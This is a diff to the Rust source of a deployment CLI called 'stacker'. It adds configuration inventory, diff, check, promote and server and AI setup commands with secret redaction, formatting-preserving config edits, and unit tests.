+        "resolved_config:\n  local_env_file: {}\n  remote_runtime_env_file: {}\n  compose_env_file: {}\n  config_version: local\n  config_hash: unavailable_until_deploy\n  runtime_env_contract_version: {}\n  runtime_env_contract_order: {}\n  layers:\n{}\n",
+        local_env_file,
+        remote_runtime_env_path(),
+        compose_env_file_reference(),
+        runtime_env_contract.version,
+        runtime_env_contract.order,
+        layers
+    ))
+}
+
+fn resolve_display_path(config_dir: &Path, env_file: &Path) -> String {
+    if env_file.is_absolute() {
+        env_file.display().to_string()
+    } else {
+        config_dir.join(env_file).display().to_string()
+    }
+}
+
 /// `stacker config validate [--file stacker.yml]`
 ///
 /// Validates a stacker.yml configuration file.
@@ -667,6 +1090,70 @@ impl CallableTrait for ConfigValidateCommand {
 /// Displays the resolved configuration (with env vars substituted).
 pub struct ConfigShowCommand {
     pub file: Option<String>,
+    pub resolved: bool,
+}
+
+/// `stacker config inventory --env <name> [--service <target>] [--json]`
+///
+/// Displays a redacted, comparable configuration key inventory.
+pub struct ConfigInventoryCommand {
+    pub file: Option<String>,
+    pub environment: String,
+    pub service: Option<String>,
+    pub json: bool,
+    pub show_values: bool,
+    pub remote: bool,
+    pub project: Option<String>,
+}
+
+/// `stacker config diff --from <env> --to <env> [--service <target>] [--json]`
+///
+/// Compares redacted local configuration inventories across environments.
+pub struct ConfigDiffCommand {
+    pub file: Option<String>,
+    pub from: String,
+    pub to: String,
+    pub service: Option<String>,
+    pub json: bool,
+    pub strict: bool,
+    pub remote: bool,
+    pub project: Option<String>,
+}
+
+/// `stacker config check --env <name> [--service <target>] [--json] [--strict]`
+///
+/// Checks an environment against optional `config_contract` requirements.
+pub struct ConfigCheckCommand {
+    pub file: Option<String>,
+    pub environment: String,
+    pub service: Option<String>,
+    pub json: bool,
+    pub strict: bool,
+    pub remote: bool,
+    pub project: Option<String>,
+}
+
+/// `stacker config promote --from <env> --to <env> [--service <target>]`
+///
+/// Generates safe target placeholders for keys missing from the target environment.
+pub struct ConfigPromoteCommand {
+    pub file: Option<String>,
+    pub from: String,
+    pub to: String,
+    pub service: Option<String>,
+    pub keys: Vec<String>,
+    pub json: bool,
+    pub remote: bool,
+    pub project: Option<String>,
+}
+
+/// `stacker config contract suggest --env <name> [--service <target>]`
+///
+/// Generates a reviewable `config_contract` YAML snippet from inventory.
+pub struct ConfigContractSuggestCommand {
+    pub file: Option<String>,
+    pub environment: String,
+    pub service: Option<String>,
 }
 
 /// `stacker config fix [--file stacker.yml] [--interactive]`
@@ -677,6 +1164,155 @@ pub struct ConfigFixCommand {
     pub interactive: bool,
 }
 
+/// `stacker config setup server [--ip <IP>] [--user <USER>] [--port <PORT>] [--key <PATH>] [--file stacker.yml]`
+///
+/// Register an intranet/local-network server as a deploy target.
+/// Checks for an existing server config, then prompts whether to save to
+/// stacker.yml or to a deployment lock file.
+pub struct ConfigSetupServerCommand {
+    pub file: Option<String>,
+    pub ip: Option<String>,
+    pub user: Option<String>,
+    pub port: Option<u16>,
+    pub key: Option<String>,
+}
+
+impl ConfigSetupServerCommand {
+    pub fn new(
+        file: Option<String>,
+        ip: Option<String>,
+        user: Option<String>,
+        port: Option<u16>,
+        key: Option<String>,
+    ) -> Self {
+        Self {
+            file,
+            ip,
+            user,
+            port,
+            key,
+        }
+    }
+}
+
+impl CallableTrait for ConfigSetupServerCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let project_dir = std::env::current_dir()?;
+        let config_path_str = resolve_config_path(&self.file);
+        let config_path = project_dir.join(&config_path_str);
+
+        // Load config if it exists; allow running without one (lock-only path).
+        let existing_server = if config_path.exists() {
+            StackerConfig::from_file_raw(&config_path)
+                .ok()
+                .and_then(|c| c.deploy.server)
+        } else {
+            None
+        };
+
+        if let Some(ref s) = existing_server {
+            eprintln!(
+                "Note: stacker.yml already has a server configured (host: {}).",
+                s.host
+            );
+            eprintln!("Continuing will overwrite it.");
+        }
+
+        // Collect host
+        let host = match self.ip.clone() {
+            Some(h) if !h.trim().is_empty() => h,
+            _ => {
+                let mut h = String::new();
+                while h.trim().is_empty() {
+                    h = prompt_line("Server IP or hostname (e.g. 192.168.100.245): ")?;
+                }
+                h
+            }
+        };
+
+        // Collect user
+        let user_default = self
+            .user
+            .clone()
+            .or_else(|| existing_server.as_ref().map(|s| s.user.clone()))
+            .unwrap_or_else(|| "root".to_string());
+        let user = prompt_with_default("SSH user", &user_default)?;
+
+        // Collect port
+        let port_default = self
+            .port
+            .or_else(|| existing_server.as_ref().map(|s| s.port))
+            .unwrap_or(22);
+        let port_str = prompt_with_default("SSH port", &port_default.to_string())?;
+        let port = port_str.parse::<u16>().unwrap_or(22);
+
+        // Collect SSH key
+        let key_default = self
+            .key
+            .clone()
+            .or_else(|| {
+                existing_server
+                    .as_ref()
+                    .and_then(|s| s.ssh_key.clone())
+                    .map(|p| p.to_string_lossy().to_string())
+            })
+            .unwrap_or_else(|| "~/.ssh/id_ed25519".to_string());
+        let key_input = prompt_with_default("SSH key path (leave empty to skip)", &key_default)?;
+        let ssh_key = if key_input.trim().is_empty() {
+            None
+        } else {
+            Some(PathBuf::from(&key_input))
+        };
+
+        let server_cfg = ServerConfig {
+            host,
+            user,
+            ssh_key,
+            port,
+        };
+
+        eprintln!();
+        eprintln!("Server details:");
+        eprintln!("  host: {}", server_cfg.host);
+        eprintln!("  user: {}", server_cfg.user);
+        eprintln!("  port: {}", server_cfg.port);
+        if let Some(ref k) = server_cfg.ssh_key {
+            eprintln!("  ssh_key: {}", k.display());
+        }
+        eprintln!();
+
+        // Ask where to save
+        eprintln!("Where would you like to save this server configuration?");
+        eprintln!("  1) stacker.yml  (persists across fresh clones)");
+        eprintln!("  2) Lock file    (.stacker/deployment-server.lock, ignored by git)");
+        let choice = prompt_with_default("Choice", "1")?;
+
+        match choice.trim() {
+            "2" => {
+                let lock = DeploymentLock::for_server(&server_cfg);
+                let lock_path = lock.save(&project_dir)?;
+                eprintln!();
+                eprintln!("✓ Saved to lock file: {}", lock_path.display());
+                eprintln!("  Run `stacker deploy --target server` to deploy.");
+            }
+            _ => {
+                if !config_path.exists() {
+                    return Err(Box::new(CliError::ConfigNotFound { path: config_path }));
+                }
+                // Targeted, formatting-preserving edit: only deploy.target and
+                // deploy.server change; the rest of stacker.yml (key order,
+                // quoting, config_contract, comments-as-scalars) is left intact.
+                DeploymentLock::set_deploy_server(&config_path, &server_cfg)?;
+                eprintln!();
+                eprintln!("✓ stacker.yml updated (backup: {}.bak).", config_path_str);
+                eprintln!("  Run `stacker deploy` to deploy to this server.");
+            }
+        }
+
+        Ok(())
+    }
+}
+
 /// `stacker config setup cloud [--file stacker.yml]`
 ///
 /// Interactive cloud setup wizard that writes deploy.target/deploy.cloud.
@@ -684,6 +1320,61 @@ pub struct ConfigSetupCloudCommand {
     pub file: Option<String>,
 }
 
+/// `stacker config setup ai [--file stacker.yml]`
+///
+/// Guided AI setup wizard that writes ai.* without replacing unrelated config.
+pub struct ConfigSetupAiCommand {
+    pub file: Option<String>,
+    pub provider: Option<String>,
+    pub endpoint: Option<String>,
+    pub model: Option<String>,
+    pub timeout: Option<u64>,
+    pub tasks: Vec<String>,
+}
+
+impl ConfigSetupAiCommand {
+    pub fn new(
+        file: Option<String>,
+        provider: Option<String>,
+        endpoint: Option<String>,
+        model: Option<String>,
+        timeout: Option<u64>,
+        tasks: Vec<String>,
+    ) -> Self {
+        Self {
+            file,
+            provider,
+            endpoint,
+            model,
+            timeout,
+            tasks,
+        }
+    }
+}
+
+impl CallableTrait for ConfigSetupAiCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let path = resolve_config_path(&self.file);
+        let applied = run_setup_ai(
+            &path,
+            AiSetupOptions {
+                provider: self.provider.as_deref(),
+                endpoint: self.endpoint.as_deref(),
+                model: self.model.as_deref(),
+                timeout: self.timeout,
+                tasks: &self.tasks,
+            },
+        )?;
+
+        eprintln!("✓ Updated {}", path);
+        for item in applied {
+            eprintln!("  - {}", item);
+        }
+        eprintln!("Run: stacker config validate");
+        Ok(())
+    }
+}
+
 impl ConfigSetupCloudCommand {
     pub fn new(file: Option<String>) -> Self {
         Self { file }
@@ -693,7 +1384,15 @@ impl ConfigSetupCloudCommand {
 impl CallableTrait for ConfigSetupCloudCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
         let path = resolve_config_path(&self.file);
-        let applied = run_setup_cloud_interactive(&path)?;
+        // Try to create a runtime to fetch available cloud credentials.
+        // Non-fatal if the user isn't logged in — the wizard will still work,
+        // just without showing the list of saved credentials.
+        let clouds: Option<Vec<crate::cli::stacker_client::CloudInfo>> =
+            crate::cli::runtime::CliRuntime::new("config setup cloud")
+                .ok()
+                .and_then(|ctx| ctx.block_on(async { ctx.client.list_clouds().await }).ok());
+        let clouds_ref = clouds.as_deref();
+        let applied = run_setup_cloud_interactive(&path, clouds_ref)?;
 
         eprintln!("✓ Updated {}", path);
         for item in applied {
@@ -766,20 +1465,553 @@ impl CallableTrait for ConfigFixCommand {
 }
 
 impl ConfigShowCommand {
-    pub fn new(file: Option<String>) -> Self {
-        Self { file }
+    pub fn new(file: Option<String>, resolved: bool) -> Self {
+        Self { file, resolved }
     }
 }
 
 impl CallableTrait for ConfigShowCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
         let path = resolve_config_path(&self.file);
-        let yaml = run_show(&path)?;
-        println!("{}", yaml);
+        let output = if self.resolved {
+            run_show_resolved(&path)?
+        } else {
+            run_show(&path)?
+        };
+        println!("{}", output);
+        Ok(())
+    }
+}
+
+impl ConfigInventoryCommand {
+    pub fn new(
+        file: Option<String>,
+        environment: String,
+        service: Option<String>,
+        json: bool,
+        show_values: bool,
+        remote: bool,
+        project: Option<String>,
+    ) -> Self {
+        Self {
+            file,
+            environment,
+            service,
+            json,
+            show_values,
+            remote,
+            project,
+        }
+    }
+}
+
+impl CallableTrait for ConfigInventoryCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let path = resolve_config_path(&self.file);
+        let mut inventory = load_inventory(
+            Path::new(&path),
+            &InventoryOptions {
+                environment: self.environment.clone(),
+                service: self.service.clone(),
+                show_values: self.show_values,
+            },
+        )?;
+        if self.remote {
+            enrich_remote_service_secret_metadata(
+                Path::new(&path),
+                self.project.as_deref(),
+                &mut inventory,
+            )?;
+        }
+
+        if self.json {
+            println!("{}", serde_json::to_string_pretty(&inventory)?);
+            return Ok(());
+        }
+
+        for warning in &inventory.warnings {
+            eprintln!("⚠ {warning}");
+        }
+        print!("{}", format_inventory_table(&inventory));
+
+        Ok(())
+    }
+}
+
+fn format_inventory_table(inventory: &ConfigInventory) -> String {
+    let mut rows = vec![[
+        "Target".to_string(),
+        "Key".to_string(),
+        "Source".to_string(),
+        "Present".to_string(),
+        "Secret".to_string(),
+        "Value".to_string(),
+    ]];
+
+    for target in &inventory.targets {
+        for key in &target.keys {
+            let value = if key.secret {
+                "[REDACTED]".to_string()
+            } else if key.present {
+                key.value_preview
+                    .clone()
+                    .unwrap_or_else(|| "[HIDDEN]".to_string())
+            } else {
+                "[MISSING]".to_string()
+            };
+
+            rows.push([
+                target.target_code.clone(),
+                key.key.clone(),
+                key.source.clone(),
+                key.present.to_string(),
+                key.secret.to_string(),
+                value,
+            ]);
+        }
+    }
+
+    let mut widths = [0usize; 5];
+    for row in &rows {
+        for index in 0..widths.len() {
+            widths[index] = widths[index].max(row[index].len());
+        }
+    }
+
+    let mut output = String::new();
+    for row in rows {
+        output.push_str(&format!(
+            "{:<target_width$}  {:<key_width$}  {:<source_width$}  {:<present_width$}  {:<secret_width$}  {}\n",
+            row[0],
+            row[1],
+            row[2],
+            row[3],
+            row[4],
+            row[5],
+            target_width = widths[0],
+            key_width = widths[1],
+            source_width = widths[2],
+            present_width = widths[3],
+            secret_width = widths[4],
+        ));
+    }
+
+    output
+}
+
+impl ConfigDiffCommand {
+    pub fn new(
+        file: Option<String>,
+        from: String,
+        to: String,
+        service: Option<String>,
+        json: bool,
+        strict: bool,
+        remote: bool,
+        project: Option<String>,
+    ) -> Self {
+        Self {
+            file,
+            from,
+            to,
+            service,
+            json,
+            strict,
+            remote,
+            project,
+        }
+    }
+}
+
+impl CallableTrait for ConfigDiffCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let path = resolve_config_path(&self.file);
+        let diff = if self.remote {
+            let from_inventory = load_inventory(
+                Path::new(&path),
+                &InventoryOptions {
+                    environment: self.from.clone(),
+                    service: self.service.clone(),
+                    show_values: false,
+                },
+            )?;
+            let mut to_inventory = load_inventory(
+                Path::new(&path),
+                &InventoryOptions {
+                    environment: self.to.clone(),
+                    service: self.service.clone(),
+                    show_values: false,
+                },
+            )?;
+            enrich_remote_service_secret_metadata(
+                Path::new(&path),
+                self.project.as_deref(),
+                &mut to_inventory,
+            )?;
+            diff_inventories(from_inventory, to_inventory, self.service.clone())
+        } else {
+            load_diff(Path::new(&path), &self.from, &self.to, self.service.clone())?
+        };
+
+        if self.json {
+            println!("{}", serde_json::to_string_pretty(&diff)?);
+        } else {
+            print_config_diff(&diff);
+        }
+
+        if self.strict && diff.has_differences() {
+            return Err(Box::new(CliError::ConfigValidation(format!(
+                "configuration differs between {} and {}",
+                self.from, self.to
+            ))));
+        }
+
+        Ok(())
+    }
+}
+
+impl ConfigCheckCommand {
+    pub fn new(
+        file: Option<String>,
+        environment: String,
+        service: Option<String>,
+        json: bool,
+        strict: bool,
+        remote: bool,
+        project: Option<String>,
+    ) -> Self {
+        Self {
+            file,
+            environment,
+            service,
+            json,
+            strict,
+            remote,
+            project,
+        }
+    }
+}
+
+impl CallableTrait for ConfigCheckCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let path = resolve_config_path(&self.file);
+        let result = if self.remote {
+            let config = StackerConfig::from_file(Path::new(&path))?;
+            let mut inventory = load_inventory(
+                Path::new(&path),
+                &InventoryOptions {
+                    environment: self.environment.clone(),
+                    service: self.service.clone(),
+                    show_values: false,
+                },
+            )?;
+            enrich_remote_service_secret_metadata(
+                Path::new(&path),
+                self.project.as_deref(),
+                &mut inventory,
+            )?;
+            check_inventory(config, inventory, self.service.clone())
+        } else {
+            load_check(Path::new(&path), &self.environment, self.service.clone())?
+        };
+
+        if self.json {
+            println!("{}", serde_json::to_string_pretty(&result)?);
+        } else {
+            print_config_check(&result);
+        }
+
+        if self.strict && result.has_required_failures() {
+            return Err(Box::new(CliError::ConfigValidation(format!(
+                "required configuration missing for {}",
+                self.environment
+            ))));
+        }
+
+        Ok(())
+    }
+}
+
+impl ConfigPromoteCommand {
+    pub fn new(
+        file: Option<String>,
+        from: String,
+        to: String,
+        service: Option<String>,
+        keys: Vec<String>,
+        json: bool,
+        remote: bool,
+        project: Option<String>,
+    ) -> Self {
+        Self {
+            file,
+            from,
+            to,
+            service,
+            keys,
+            json,
+            remote,
+            project,
+        }
+    }
+}
+
+impl CallableTrait for ConfigPromoteCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let path = resolve_config_path(&self.file);
+        let plan = if self.remote {
+            let from_inventory = load_inventory(
+                Path::new(&path),
+                &InventoryOptions {
+                    environment: self.from.clone(),
+                    service: self.service.clone(),
+                    show_values: false,
+                },
+            )?;
+            let mut to_inventory = load_inventory(
+                Path::new(&path),
+                &InventoryOptions {
+                    environment: self.to.clone(),
+                    service: self.service.clone(),
+                    show_values: false,
+                },
+            )?;
+            enrich_remote_service_secret_metadata(
+                Path::new(&path),
+                self.project.as_deref(),
+                &mut to_inventory,
+            )?;
+            let diff = diff_inventories(from_inventory, to_inventory, self.service.clone());
+            promotion_plan_from_diff(diff, self.keys.clone())
+        } else {
+            load_promotion_plan(
+                Path::new(&path),
+                &self.from,
+                &self.to,
+                self.service.clone(),
+                self.keys.clone(),
+            )?
+        };
+
+        if self.json {
+            println!("{}", serde_json::to_string_pretty(&plan)?);
+        } else {
+            print_promotion_plan(&plan);
+        }
+
+        Ok(())
+    }
+}
+
+fn print_promotion_plan(plan: &ConfigPromotionPlan) {
+    for warning in &plan.warnings {
+        eprintln!("⚠ {warning}");
+    }
+
+    if plan.is_empty() {
+        println!(
+            "No missing keys to promote from {} to {}.",
+            plan.from_environment, plan.to_environment
+        );
+        return;
+    }
+
+    println!(
+        "Promotion placeholders from {} to {}:",
+        plan.from_environment, plan.to_environment
+    );
+    let mut current_target = "";
+    for item in &plan.items {
+        if current_target != item.target {
+            current_target = &item.target;
+            println!();
+            println!("# {}", item.target);
+        }
+        let secret_marker = if item.secret { " # secret" } else { "" };
+        println!("{}{}", item.placeholder, secret_marker);
+    }
+    println!();
+    println!("Review these placeholders and fill target values manually; plaintext is not copied.");
+}
+
+fn enrich_remote_service_secret_metadata(
+    config_path: &Path,
+    explicit_project: Option<&str>,
+    inventory: &mut ConfigInventory,
+) -> Result<(), CliError> {
+    let project_ref = resolve_remote_project_reference(config_path, explicit_project)?;
+    let ctx = CliRuntime::new("config remote metadata")?;
+    let project = ctx
+        .block_on(ctx.client.find_project(&project_ref))?
+        .ok_or_else(|| {
+            CliError::ConfigValidation(format!("Project '{}' was not found", project_ref))
+        })?;
+    let registered_apps = ctx.block_on(ctx.client.list_project_apps(project.id))?;
+    let target_codes = registered_remote_target_codes(inventory, &registered_apps);
+
+    for target_code in target_codes {
+        match ctx.block_on(ctx.client.list_service_secrets(project.id, &target_code)) {
+            Ok(secrets) => {
+                merge_remote_secret_names(
+                    inventory,
+                    &target_code,
+                    secrets.into_iter().map(|secret| secret.name),
+                );
+            }
+            Err(error) => inventory.warnings.push(remote_metadata_warning(
+                &target_code,
+                &error,
+                cli_debug_enabled(),
+            )),
+        }
+    }
+
+    Ok(())
+}
+
+fn remote_metadata_warning(target_code: &str, error: &CliError, debug: bool) -> String {
+    if debug {
+        return format!("Remote secret metadata unavailable for {target_code}: {error}");
+    }
+
+    format!(
+        "Remote secret metadata unavailable for {target_code}; rerun with DEBUG=true for details."
+    )
+}
+
+fn registered_remote_target_codes(
+    inventory: &ConfigInventory,
+    registered_apps: &[ProjectAppInfo],
+) -> Vec<String> {
+    let registered_codes = registered_apps
+        .iter()
+        .map(|app| app.code.as_str())
+        .collect::<BTreeSet<_>>();
+
+    inventory
+        .targets
+        .iter()
+        .filter_map(|target| {
+            registered_codes
+                .contains(target.target_code.as_str())
+                .then(|| target.target_code.clone())
+        })
+        .collect()
+}
+
+fn resolve_remote_project_reference(
+    config_path: &Path,
+    explicit_project: Option<&str>,
+) -> Result<String, CliError> {
+    if let Some(project) = explicit_project
+        .map(str::trim)
+        .filter(|project| !project.is_empty())
+    {
+        return Ok(project.to_string());
+    }
+
+    let config = StackerConfig::from_file_raw(config_path)?;
+    config
+        .project
+        .identity
+        .map(|project| project.trim().to_string())
+        .filter(|project| !project.is_empty())
+        .ok_or_else(|| {
+            CliError::ConfigValidation(
+                "Remote config metadata requires --project, or set project.identity in stacker.yml."
+                    .to_string(),
+            )
+        })
+}
+
+impl ConfigContractSuggestCommand {
+    pub fn new(file: Option<String>, environment: String, service: Option<String>) -> Self {
+        Self {
+            file,
+            environment,
+            service,
+        }
+    }
+}
+
+impl CallableTrait for ConfigContractSuggestCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let path = resolve_config_path(&self.file);
+        let output = suggest_contract_yaml(
+            Path::new(&path),
+            &ContractSuggestOptions {
+                environment: self.environment.clone(),
+                service: self.service.clone(),
+            },
+        )?;
+        println!("{}", output.trim_end());
         Ok(())
     }
 }
 
+fn print_config_check(result: &ConfigCheckResult) {
+    for warning in &result.warnings {
+        eprintln!("⚠ {warning}");
+    }
+
+    print_check_items("Missing required:", &result.missing_required);
+    print_check_items("Missing optional:", &result.missing_optional);
+
+    if !result.has_required_failures() && result.missing_optional.is_empty() {
+        println!(
+            "Configuration contract satisfied for {}.",
+            result.environment
+        );
+    }
+}
+
+fn print_check_items(title: &str, items: &[ConfigCheckItem]) {
+    if items.is_empty() {
+        return;
+    }
+
+    println!("{title}");
+    for item in items {
+        let secret_marker = if item.secret { " [secret]" } else { "" };
+        println!("  {}:{}{}", item.target, item.key, secret_marker);
+    }
+}
+
+fn print_config_diff(diff: &ConfigDiff) {
+    for warning in &diff.warnings {
+        eprintln!("⚠ {warning}");
+    }
+
+    print_diff_items(
+        &format!("Missing in {}:", diff.to_environment),
+        &diff.missing_in_to,
+    );
+    print_diff_items(
+        &format!("Only in {}:", diff.to_environment),
+        &diff.only_in_to,
+    );
+    print_diff_items("Different values:", &diff.different);
+
+    if !diff.has_differences() {
+        println!(
+            "No configuration differences found between {} and {}.",
+            diff.from_environment, diff.to_environment
+        );
+    }
+}
+
+fn print_diff_items(title: &str, items: &[DiffItem]) {
+    if items.is_empty() {
+        return;
+    }
+
+    println!("{title}");
+    for item in items {
+        let secret_marker = if item.secret { " [secret]" } else { "" };
+        println!("  {}:{}{}", item.target, item.key, secret_marker);
+    }
+}
+
 /// `stacker config example`
 ///
 /// Prints a full commented `stacker.yml` reference example.
@@ -839,7 +2071,9 @@ impl CallableTrait for ConfigLockCommand {
                 eprintln!("Deployment lock exists but has no remote server details.");
                 if lock.target == "cloud" {
                     eprintln!("The cloud deployment may still be provisioning.");
-                    eprintln!("Wait for it to complete, then run `stacker deploy --lock` to retry.");
+                    eprintln!(
+                        "Wait for it to complete, then run `stacker deploy --lock` to retry."
+                    );
                 }
                 return Ok(());
             }
@@ -848,15 +2082,16 @@ impl CallableTrait for ConfigLockCommand {
 
         // 3. Load stacker.yml, apply lock, write back
         if !config_path.exists() {
-            return Err(Box::new(CliError::ConfigNotFound {
-                path: config_path,
-            }));
+            return Err(Box::new(CliError::ConfigNotFound { path: config_path }));
         }
 
-        let mut config = StackerConfig::from_file_raw(&config_path)?;
-        lock.apply_to_config(&mut config);
+        if !confirm_config_overwrite(&config_path_str)? {
+            eprintln!("Aborted. stacker.yml was not modified.");
+            return Ok(());
+        }
 
-        DeploymentLock::write_config(&config, &config_path)?;
+        // Formatting-preserving in-place edit: only deploy.server is written.
+        lock.persist_server_to_config(&config_path)?;
 
         let ip = lock.server_ip.as_deref().unwrap_or("?");
         let user = lock.ssh_user.as_deref().unwrap_or("root");
@@ -895,12 +2130,13 @@ impl CallableTrait for ConfigUnlockCommand {
         let config_path = project_dir.join(&config_path_str);
 
         if !config_path.exists() {
-            return Err(Box::new(CliError::ConfigNotFound {
-                path: config_path,
-            }));
+            return Err(Box::new(CliError::ConfigNotFound { path: config_path }));
         }
 
-        let mut config = StackerConfig::from_file_raw(&config_path)?;
+        // Read-only load to inspect current state and report the old host.
+        // The actual write goes through the formatting-preserving primitive so
+        // unrelated sections are not reordered or dropped.
+        let config = StackerConfig::from_file_raw(&config_path)?;
 
         if config.deploy.server.is_none() {
             eprintln!("No deploy.server section found in stacker.yml — nothing to unlock.");
@@ -914,9 +2150,12 @@ impl CallableTrait for ConfigUnlockCommand {
             .map(|s| s.host.clone())
             .unwrap_or_default();
 
-        config.deploy.server = None;
+        if !confirm_config_overwrite(&config_path_str)? {
+            eprintln!("Aborted. stacker.yml was not modified.");
+            return Ok(());
+        }
 
-        DeploymentLock::write_config(&config, &config_path)?;
+        DeploymentLock::remove_deploy_server(&config_path)?;
 
         eprintln!("✓ Removed deploy.server section (was: host={})", old_host);
         eprintln!("  Backup: {}.bak", config_path_str);
@@ -959,6 +2198,29 @@ mod tests {
         assert!(result.is_err());
     }
 
+    #[test]
+    fn test_validate_reports_empty_path_fields() {
+        let dir = tempfile::TempDir::new().unwrap();
+        let path = write_config(
+            dir.path(),
+            r#"
+name: empty-paths
+app:
+  type: static
+  path:
+"#,
+        );
+
+        let issues = run_validate(&path).unwrap();
+        assert!(issues.iter().any(|issue| issue.contains("app.path")));
+        assert!(issues
+            .iter()
+            .any(|issue| issue.contains("quoted path string")));
+        assert!(issues
+            .iter()
+            .any(|issue| issue.contains("stacker config fix")));
+    }
+
     #[test]
     fn test_show_returns_yaml_string() {
         let dir = tempfile::TempDir::new().unwrap();
@@ -985,9 +2247,121 @@ mod tests {
         assert_eq!(resolved, "custom.yml");
     }
 
+    #[test]
+    fn test_inventory_table_aligns_columns() {
+        let inventory = ConfigInventory {
+            environment: "local".to_string(),
+            warnings: Vec::new(),
+            targets: vec![crate::cli::config_inventory::TargetConfigInventory {
+                target_code: "coolify".to_string(),
+                keys: vec![
+                    crate::cli::config_inventory::ConfigKeyInventory {
+                        key: "APP_ENV".to_string(),
+                        source: "compose environment".to_string(),
+                        present: true,
+                        secret: false,
+                        value_hash: None,
+                        value_preview: Some("${APP_ENV:-production}".to_string()),
+                    },
+                    crate::cli::config_inventory::ConfigKeyInventory {
+                        key: "PHP_FPM_PM_MAX_SPARE_SERVERS".to_string(),
+                        source: "compose environment".to_string(),
+                        present: true,
+                        secret: false,
+                        value_hash: None,
+                        value_preview: Some("${PHP_FPM_PM_MAX_SPARE_SERVERS:-10}".to_string()),
+                    },
+                    crate::cli::config_inventory::ConfigKeyInventory {
+                        key: "DB_PASSWORD".to_string(),
+                        source: "compose env_file".to_string(),
+                        present: true,
+                        secret: true,
+                        value_hash: None,
+                        value_preview: None,
+                    },
+                ],
+            }],
+        };
+
+        let table = format_inventory_table(&inventory);
+
+        assert!(table.starts_with("Target   Key                           Source"));
+        assert!(table.contains("coolify  APP_ENV                       compose environment"));
+        assert!(table.contains("coolify  DB_PASSWORD                   compose env_file"));
+        assert!(table.contains("[REDACTED]"));
+        assert!(!table.contains('\t'));
+    }
+
+    #[test]
+    fn test_registered_remote_target_codes_skip_local_only_services() {
+        let inventory = ConfigInventory {
+            environment: "production".to_string(),
+            warnings: Vec::new(),
+            targets: vec![
+                crate::cli::config_inventory::TargetConfigInventory {
+                    target_code: "coolify".to_string(),
+                    keys: Vec::new(),
+                },
+                crate::cli::config_inventory::TargetConfigInventory {
+                    target_code: "postgres".to_string(),
+                    keys: Vec::new(),
+                },
+                crate::cli::config_inventory::TargetConfigInventory {
+                    target_code: "redis".to_string(),
+                    keys: Vec::new(),
+                },
+            ],
+        };
+        let registered_apps = vec![ProjectAppInfo {
+            id: 1,
+            project_id: 229,
+            code: "coolify".to_string(),
+            name: "Coolify".to_string(),
+            image: "coollabsio/coolify:latest".to_string(),
+            enabled: true,
+            deploy_order: None,
+            parent_app_code: None,
+        }];
+
+        let codes = registered_remote_target_codes(&inventory, &registered_apps);
+
+        assert_eq!(codes, vec!["coolify"]);
+    }
+
+    #[test]
+    fn test_remote_metadata_warning_hides_api_details_without_debug() {
+        let error = CliError::DeployFailed {
+            target: DeployTarget::Cloud,
+            reason: "Stacker server GET /project/229/apps/postgres/secrets failed (404): {\"message\":\"App not found\"}".to_string(),
+        };
+
+        let warning = remote_metadata_warning("postgres", &error, false);
+
+        assert!(warning.contains("postgres"));
+        assert!(warning.contains("DEBUG=true"));
+        assert!(!warning.contains("GET /project"));
+        assert!(!warning.contains("App not found"));
+    }
+
+    #[test]
+    fn test_remote_metadata_warning_shows_api_details_with_debug() {
+        let error = CliError::DeployFailed {
+            target: DeployTarget::Cloud,
+            reason: "Stacker server GET /project/229/apps/postgres/secrets failed (404): {\"message\":\"App not found\"}".to_string(),
+        };
+
+        let warning = remote_metadata_warning("postgres", &error, true);
+
+        assert!(warning.contains("GET /project/229/apps/postgres/secrets"));
+        assert!(warning.contains("App not found"));
+    }
+
     #[test]
     fn test_parse_cloud_provider_valid() {
-        assert_eq!(parse_cloud_provider("hetzner").unwrap(), CloudProvider::Hetzner);
+        assert_eq!(
+            parse_cloud_provider("hetzner").unwrap(),
+            CloudProvider::Hetzner
+        );
         assert_eq!(parse_cloud_provider("AWS").unwrap(), CloudProvider::Aws);
     }
 
@@ -1021,12 +2395,29 @@ mod tests {
         assert_eq!(cloud.size.as_deref(), Some("cpx11"));
     }
 
+    #[test]
+    fn test_resolve_remote_cloud_credentials_accepts_digitalocean_token() {
+        std::env::remove_var("STACKER_CLOUD_TOKEN");
+        std::env::remove_var("STACKER_DIGITALOCEAN_TOKEN");
+        std::env::set_var("DIGITALOCEAN_TOKEN", "do-token-value");
+
+        let creds = resolve_remote_cloud_credentials("do");
+
+        std::env::remove_var("DIGITALOCEAN_TOKEN");
+
+        assert_eq!(
+            creds.get("cloud_token").and_then(|v| v.as_str()),
+            Some("do-token-value")
+        );
+    }
+
     #[test]
     fn test_run_generate_remote_payload_writes_file_and_updates_config() {
         let dir = tempfile::TempDir::new().unwrap();
         let config_path = write_config(dir.path(), minimal_config_yaml());
 
-        let applied = run_generate_remote_payload(&config_path, Some("stacker.remote.deploy.json")).unwrap();
+        let applied =
+            run_generate_remote_payload(&config_path, Some("stacker.remote.deploy.json")).unwrap();
         assert!(!applied.is_empty());
 
         let payload_path = dir.path().join("stacker.remote.deploy.json");
@@ -1055,4 +2446,97 @@ mod tests {
             Some(Path::new("stacker.remote.deploy.json"))
         );
     }
+
+    #[test]
+    fn test_try_fix_raw_path_issues_removes_empty_path_fields() {
+        let dir = tempfile::TempDir::new().unwrap();
+        let config_path = write_config(
+            dir.path(),
+            r#"
+name: broken-paths
+app:
+  type: static
+  path:
+deploy:
+  target: server
+  server:
+    host: example.com
+    ssh_key:
+"#,
+        );
+
+        let applied = try_fix_raw_path_issues(&config_path).unwrap();
+        assert!(applied.iter().any(|item| item.contains("app.path")));
+        assert!(applied
+            .iter()
+            .any(|item| item.contains("deploy.server.ssh_key")));
+
+        let fixed = std::fs::read_to_string(&config_path).unwrap();
+        assert!(!fixed.contains("path: null"));
+        assert!(!fixed.contains("ssh_key: null"));
+    }
+
+    #[test]
+    fn test_run_fix_interactive_reports_non_string_path_fields() {
+        let dir = tempfile::TempDir::new().unwrap();
+        let config_path = write_config(
+            dir.path(),
+            r#"
+name: broken-paths
